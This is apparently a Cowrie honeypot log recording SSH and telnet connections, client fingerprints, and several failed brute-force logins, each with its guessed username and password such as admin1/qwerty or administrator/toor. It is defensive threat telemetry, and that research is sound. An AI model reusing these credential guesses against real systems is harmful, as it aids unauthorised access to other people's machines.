{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:26.231491Z","src_ip":"185.48.213.208","session":"b03785954b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34054,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7bc89093f6","protocol":"telnet","message":"New connection: 174.138.46.234:34054 (159.203.135.109:23) [session: ec7bc89093f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:26.495891Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62785,"dst_ip":"10.17.0.5","dst_port":22,"session":"a540aa0dc5e2","protocol":"ssh","message":"New connection: 109.91.4.177:62785 (10.17.0.5:22) [session: a540aa0dc5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:26.538291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:26.544331Z","src_ip":"109.91.4.177","session":"a540aa0dc5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:26.657565Z","src_ip":"109.91.4.177","session":"a540aa0dc5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es1234567","message":"login attempt [es/es1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:27.114166Z","src_ip":"109.91.4.177","session":"a540aa0dc5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:28.223571Z","src_ip":"109.91.4.177","session":"a540aa0dc5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33872,"dst_ip":"159.203.135.109","dst_port":23,"session":"b618406f907e","protocol":"telnet","message":"New connection: 174.138.46.234:33872 (159.203.135.109:23) [session: b618406f907e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:28.778280Z"}
{"eventid":"cowrie.session.closed","duration":5.844534397125244,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:30.106099Z","src_ip":"174.138.46.234","session":"c54b1e524c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.901684999465942,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:33.679849Z","src_ip":"174.138.46.234","session":"b618406f907e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.991390943527222,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:34.487142Z","src_ip":"174.138.46.234","session":"ec7bc89093f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":46047,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebcbd2369778","protocol":"ssh","message":"New connection: 103.248.120.6:46047 (10.17.0.5:22) [session: ebcbd2369778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:50.443704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:50.448526Z","src_ip":"103.248.120.6","session":"ebcbd2369778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:50.667861Z","src_ip":"103.248.120.6","session":"ebcbd2369778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"qwerty","message":"login attempt [admin1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:51.575978Z","src_ip":"103.248.120.6","session":"ebcbd2369778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:07:52.797644Z","src_ip":"103.248.120.6","session":"ebcbd2369778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.43762493133545,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:00.204038Z","src_ip":"20.123.41.163","session":"32e9edcd5269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":56346,"dst_ip":"10.17.0.5","dst_port":22,"session":"899de4eaa7cf","protocol":"ssh","message":"New connection: 103.146.202.174:56346 (10.17.0.5:22) [session: 899de4eaa7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:06.785165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:06.791875Z","src_ip":"103.146.202.174","session":"899de4eaa7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:07.042614Z","src_ip":"103.146.202.174","session":"899de4eaa7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"a","message":"login attempt [kafka/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:08.084348Z","src_ip":"103.146.202.174","session":"899de4eaa7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:09.338180Z","src_ip":"103.146.202.174","session":"899de4eaa7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64257,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ddbcf2bfbff","protocol":"ssh","message":"New connection: 109.91.4.177:64257 (10.17.0.5:22) [session: 4ddbcf2bfbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:23.518945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:23.523341Z","src_ip":"109.91.4.177","session":"4ddbcf2bfbff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:23.631128Z","src_ip":"109.91.4.177","session":"4ddbcf2bfbff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"chris","message":"login attempt [mysql/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:24.099287Z","src_ip":"109.91.4.177","session":"4ddbcf2bfbff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:25.210020Z","src_ip":"109.91.4.177","session":"4ddbcf2bfbff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":51820,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c94504e9fa9","protocol":"ssh","message":"New connection: 103.106.188.32:51820 (10.17.0.5:22) [session: 1c94504e9fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:26.941672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:26.946371Z","src_ip":"103.106.188.32","session":"1c94504e9fa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:27.160262Z","src_ip":"103.106.188.32","session":"1c94504e9fa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:28.135669Z","src_ip":"103.106.188.32","session":"1c94504e9fa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:29.356139Z","src_ip":"103.106.188.32","session":"1c94504e9fa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":41372,"dst_ip":"10.17.0.5","dst_port":22,"session":"d39cf0e2aa79","protocol":"ssh","message":"New connection: 209.99.189.177:41372 (10.17.0.5:22) [session: d39cf0e2aa79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:30.133518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:30.146440Z","src_ip":"209.99.189.177","session":"d39cf0e2aa79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:30.278965Z","src_ip":"209.99.189.177","session":"d39cf0e2aa79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"toor","message":"login attempt [administrator/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:30.838794Z","src_ip":"209.99.189.177","session":"d39cf0e2aa79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:31.973717Z","src_ip":"209.99.189.177","session":"d39cf0e2aa79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54574,"dst_ip":"159.203.135.109","dst_port":23,"session":"7350880c3e99","protocol":"telnet","message":"New connection: 174.138.46.234:54574 (159.203.135.109:23) [session: 7350880c3e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:39.163558Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54908,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e319593ffd","protocol":"telnet","message":"New connection: 174.138.46.234:54908 (159.203.135.109:23) [session: 90e319593ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:40.377836Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55048,"dst_ip":"159.203.135.109","dst_port":23,"session":"552e8ee5b19c","protocol":"telnet","message":"New connection: 174.138.46.234:55048 (159.203.135.109:23) [session: 552e8ee5b19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:42.849284Z"}
{"eventid":"cowrie.session.closed","duration":8.310072422027588,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:47.473524Z","src_ip":"174.138.46.234","session":"7350880c3e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.119620561599731,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:48.497325Z","src_ip":"174.138.46.234","session":"90e319593ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.92662787437439,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:08:48.775802Z","src_ip":"174.138.46.234","session":"552e8ee5b19c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":44848,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5b0dd8c43e","protocol":"ssh","message":"New connection: 103.146.202.174:44848 (10.17.0.5:22) [session: fd5b0dd8c43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:06.591076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:06.604567Z","src_ip":"103.146.202.174","session":"fd5b0dd8c43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:06.890153Z","src_ip":"103.146.202.174","session":"fd5b0dd8c43e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:08.055876Z","src_ip":"103.146.202.174","session":"fd5b0dd8c43e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:09.340700Z","src_ip":"103.146.202.174","session":"fd5b0dd8c43e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":64902,"dst_ip":"10.17.0.5","dst_port":22,"session":"744c0e5adb87","protocol":"ssh","message":"New connection: 185.48.213.208:64902 (10.17.0.5:22) [session: 744c0e5adb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:09:09.903336Z"}
